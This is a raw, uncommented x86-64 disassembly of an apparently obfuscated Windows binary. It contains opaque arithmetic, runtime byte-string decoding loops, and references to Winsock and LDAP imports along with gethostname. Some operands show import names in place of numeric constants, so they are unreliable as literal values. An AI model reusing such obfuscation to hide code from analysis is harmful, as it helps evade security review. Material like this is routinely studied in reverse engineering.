movabs rdx, 0x2a3ad153f07d4568
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14008493e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140084b69
movabs rcx, 0xeda657c5748d6310
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084392
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140084b95
movabs rcx, 0x3f7ce264f8778e50
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
jmp 0x14008503e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140084bad
movabs rdx, 0x93f2850cd9721920
jmp 0x140084a72
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140084bca
movabs rdx, 0xe86827b4ba6ca3f0
mov ecx, gethostname
jmp 0x140085001
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008494a
movabs rdx, 0x91536d047c61b990
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140084f92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140084c2b
movabs rcx, 0x647983a82ed41498
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x140084f92
inc rax
cmp r8, rax
jne 0x140084c64
movabs rdx, 0xb8ef26500fce9f68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140084392
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140084c9b
movabs rdx, 0xd64c8f7f0c92a38
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140084392
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140084cdc
movabs rdx, 0xac5b0ef93b8caa8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140084392
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140084d0c
movabs rdx, 0x5f3b539774b35578
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x14008507d
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400848e9
movabs rdx, 0x82698e736a86b18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084392
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140084d94
movabs rdx, 0xdb4caf8ae91ac620
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084392
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140084dc0
movabs rcx, 0x8437f4daab0fdbc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x14008507d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140084df1
movabs rdx, 0x2d233a2a6d04f160
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008503e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140084e1f
movabs rcx, 0xd60e7f7a2efa0700
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec rdi
inc rdi
jmp 0x140084392
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140084898
movabs rdx, 0x7ef9c4c9f0ef1ca0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x140084f92
movabs rdx, 0x27e50a19b2e43240
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xde8]
add r11b, bl
add r11b, dl
movabs rcx, 0x521fdb6da36177a8
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 0x34
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, bl
mov byte [rbp + rdi + 0xde8], dl
jmp 0x14008503e
movabs rdx, 0x7c5aacc193debd10
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xde8]
sub r11b, 0x70
add r11b, dl
jmp 0x14008507d
movabs rdx, 0x6ef5e3c9a31592d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084392
movabs rdx, 0x743413da5d3651f8
mov ecx, Ordinal_30
jmp 0x140085001
movabs rcx, 0x1fbe71327c3bc728
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
inc r9
dec rdi
inc rdi
jmp 0x140084392
movabs rcx, 0xcb48ce8a9b413c58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140084f92
movabs rcx, 0x225d893ad94c26b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
movabs rdx, 0xfdaa38c5c266ecd8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xde8], cl
inc r9
dec rdi
inc rdi
jmp 0x140084392
movabs rcx, 0xcde7e692f8519be8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
inc r9
dec rdi
inc rdi
jmp 0x140084392
movabs rdx, 0x797243eb17571118
mov ecx, Ordinal_45
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140084392
movabs rcx, 0xd086fe9b5561fb78
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x48
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140084392
mov rbx, r10
movabs rdx, 0x279bb94b936ce5d8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0xa6957e15845c0278
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x48
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xde8], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xd0d04f6974d947e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x20
add cl, bl
mov byte [rbp + rdi + 0xde8], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084392
movabs rdx, 0x7eb073fbd177d038
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084392
movabs rcx, 0xf08ec09bf1150f08
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
jmp 0x14008438e
movabs rdx, 0x9c191df4101a8438
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140084371
lea rcx, [rbp + 0x16aafc8]
jmp 0x14008518d
lea rcx, [rbp + 0x67f530]
jmp 0x14008518d
lea rcx, [rbp + 0xde8]
mov dword [rbp + 0xff0], 0x2710
mov dword [rbp + 0xff8], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xff0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xff8]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xe10], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xe11], Ordinal_217
mov byte [rbp + 0xe12], Ordinal_35
mov byte [rbp + 0xe13], 0xf4
mov byte [rbp + 0xe14], Ordinal_217
mov byte [rbp + 0xe15], Ordinal_217
mov byte [rbp + 0xe16], 0xe2
mov byte [rbp + 0xe17], Ordinal_211
mov byte [rbp + 0xe18], 0x44
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe19], xmm0
mov qword [rbp + 0xe29], rax
mov word [rbp + 0xe31], ax
movabs rsi, 0xcd92a4a212c7c32e
movabs r13, 0x8fe2695d0d15b3f6
movabs r14, 0x1fef35861ac8b692
movabs r15, 0x2a62cc009d4ea6
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140085f4d
movzx ebx, byte [rbp + rdi + 0xe10]
mov r10, rbx
cmp r8, rdi
ja 0x140085f44
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400852b3
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x46
jmp 0x1400852e0
je 0x140085eba
inc rax
cmp r8, rax
je 0x140085e4f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140085df0
lea rax, [r9 + 8]
cmp r8, rax
je 0x140085d99
nop
cmp r9, rdi
ja 0x140085f3b
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x140085310
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x42
add r11b, dl
jmp 0x140085350
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140085d88
lea rax, [r9 + 3]
cmp r8, rax
je 0x140085d5a
lea rax, [rcx + 1]
cmp r8, rax
je 0x140085d22
lea rax, [r9 + 5]
cmp r8, rax
je 0x140085cc9
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400859c1
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400859ad
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140085981
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140085953
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008592f
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140085907
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400858d4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400858af
lea rax, [r9 + 5]
cmp r8, rax
je 0x140085888
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008584f
lea rax, [r9 + 8]
cmp r8, rax
je 0x140085360
lea r8, [r9 + 3]
lea r9, [r8 + 9]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140085f18
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140085ef0
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140085567
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140085548
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140085529
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400857ee
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008578f
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008573f
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008570c
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140085360
lea r8, [r9 + 2]
lea r9, [r8 + 8]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400856d8
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400856b0
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008568c
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140085654
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140085631
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14008560c
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400855e3
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400855b2
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008558e
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140085360
lea r8, [r9 + 1]
lea r9, [r8 + 6]
jmp 0x140085360
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140085350
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400852e0
movabs rdx, 0xe0659011e671e6ba
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x16
add r11b, dl
jmp 0x140085284
movabs rdx, 0x6c952510963e1970
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
jmp 0x140085db9
movabs rdx, 0x4cd052567c12b184
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140085272
movabs rcx, 0x2d0b7f9c61e74998
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x28
dec rdi
inc rdi
jmp 0x140085272
movabs rdx, 0xd46ace247bbe1ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140085e0f
movabs rcx, 0xed81da282d9079c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x140085e37
movabs rdx, 0xcdbd076e136511d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140085272
movabs rdx, 0xadf834b3f939a9e8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
jmp 0x140085ce8
movabs rdx, 0x8e3361f9df0e41fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140085e76
movabs rcx, 0x6e6e8f3fc4e2da10
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0xe10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140085272
movabs rdx, 0x9f02806e83765642
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0xe10], r11b
inc rdi
jmp 0x140085272
movabs rdx, 0x7f3dadb4694aee56
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5a
add r11b, dl
cmp r9, 1
jb 0x14008572f
movabs rdx, 0x5435fb1336a5b404
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x38]
jmp 0x140085dbc
movabs rdx, 0x5f78dafa4f1f866a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 2
jae 0x140085c73
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140085bb7
movabs rdx, 0x1685bfce30f3a4cc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008575e
movabs rdx, 0x3fb4084034f41e7e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x72
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x28
je 0x140085ca0
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x140085ac6
movabs rdx, 0x48f31b2c1e2be19e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x52
jmp 0x1400857af
movabs rdx, 0xd16fdbcc70ae9314
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xe10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140085272
movabs rdx, 0xb1ab091256832b28
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x140085e76
movabs rdx, 0x91e636583c57c33c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140085ce8
movabs rcx, 0x7221639e222c5b50
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140085272
movabs rdx, 0x525c90e40800f364
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140085e37
movabs rdx, 0x3297be29edd58b78
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x140085e0f
movabs rdx, 0x12d2eb6fd3aa238c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140085272
movabs rcx, 0xf30e18b5b97ebba0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x140085272
movabs rdx, 0xd34945fb9f5353b4
mov ecx, 0xa
jmp 0x140085da8
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400859e6
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008580d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140085a28
movabs rdx, 0x9b254944258f865c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xe10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140085272
inc rax
cmp r8, rax
jne 0x140085a54
movabs rdx, 0xdaaeeeb859e65634
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6c
jmp 0x140085ce8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140085a95
movabs rdx, 0xfa73c1727411be20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140085272
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140085810
movabs rdx, 0x994bdf14f6eac5bc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x24
jmp 0x140085db9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140085ae3
movabs rdx, 0x68b7ede63857498a
mov ecx, Ordinal_30
jmp 0x140085da8
inc rax
cmp r8, rax
jne 0x140085b19
movabs rdx, 0xa841935a6cae1962
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140085272
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140085b4a
movabs rdx, 0xe7cb38cea104e93a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140085e37
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140085b86
movabs rcx, 0x7900b88bb305126
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xa
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140085272
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400857b2
movabs rdx, 0x2754de42d55bb912
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7e
jmp 0x140085ce8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140085bf4
movabs rcx, 0x364a92884b1f0cb8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 8
movzx eax, byte [rbp + rdi + 0xe10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140085272
inc rax
cmp r8, rax
jne 0x140085c21
movabs rdx, 0x75d437fc7f75dc90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140085ce8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140085c52
movabs rdx, 0xb55ddd70b3ccac68
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140085e37
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140085761
movabs rdx, 0x347128591c7a4c18
mov ecx, Ordinal_45
jmp 0x140085da8
movabs rdx, 0x73facdcd50d11bf0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xe10]
add r11b, bl
jmp 0x140085e0f
movabs rdx, 0x93bfa0876afc83dc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xe10]
sub r11b, 4
jmp 0x140085ce8
movabs rdx, 0xabf467b8c9f79aa2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6e
add r11b, dl
movabs rdx, 0x23a209e4781237d2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xe10], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140085e76
movabs rdx, 0x8c2f94feafcc32b6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140085272
movabs rdx, 0x2ce11cd06149faf2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140085272
movabs rdx, 0xed57775c2cf32b1a
mov ecx, Ordinal_41
jmp 0x140085da8
movabs rdx, 0xadcdd1e7f89c5b42
mov ecx, Ordinal_26
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0xe418647043bb67fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xe10], cl
inc r9
dec rdi
inc rdi
jmp 0x140085272
movabs rdx, 0x4e7f59b9aa1a237e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x72
add r11b, dl
movabs rcx, 0x3dd372a5de6cfe6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x4a
add bl, cl
add bl, r11b
mov byte [rbp + rdi + 0xe10], bl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140085272
mov rbx, r10
movabs rdx, 0xcf6c0ed1416c83ce
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0xb38473418527ebc8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x78
add bl, cl
mov byte [rbp + rdi + 0xe10], bl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xe10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140085272
movabs rcx, 0xafa73c1727411be2
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2e
movzx eax, byte [rbp + rdi + 0xe10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140085272
movabs rdx, 0xc0a0bd57cc467ece
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140085270
movabs rcx, 0xa0dbea9db21b16e2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2e
jmp 0x140085260
lea r14, [rbp + 0x154f758]
jmp 0x140085f54
lea r14, [rbp + 0x6aab4e]
jmp 0x140085f54
lea r14, [rbp + 0xe10]
lea rdx, [0x140226050]
lea rcx, [rbp + 0x648]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 8]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a2a12
mov byte [rbp + 0xe38], __WSAFDIsSet
mov byte [rbp + 0xe39], WSASetLastError
mov byte [rbp + 0xe3a], 0x99
mov byte [rbp + 0xe3b], 0xa1
mov byte [rbp + 0xe3c], 0xa2
mov byte [rbp + 0xe3d], 0xb6
mov byte [rbp + 0xe3e], 0xbb
mov byte [rbp + 0xe3f], 0xab
mov byte [rbp + 0xe40], 0x54
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe41], xmm0
mov qword [rbp + 0xe51], rax
mov word [rbp + 0xe59], ax
movabs r15, 0xe67c2b77215d69d2
movabs r13, 0x3ebbfb20b845bc6e
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0xc1d526a42629050a
cmp rdi, 0x23
jae 0x140086dc3
movzx ebx, byte [rbp + rdi + 0xe38]
mov r10, rbx
cmp r8, rdi
ja 0x140086dba
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008606c
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x46
jmp 0x1400860a5
je 0x140086d2c
inc rax
cmp r8, rax
je 0x140086c8e
lea rax, [r9 + 3]
cmp r8, rax
je 0x140086c2a
lea rax, [r9 + 4]
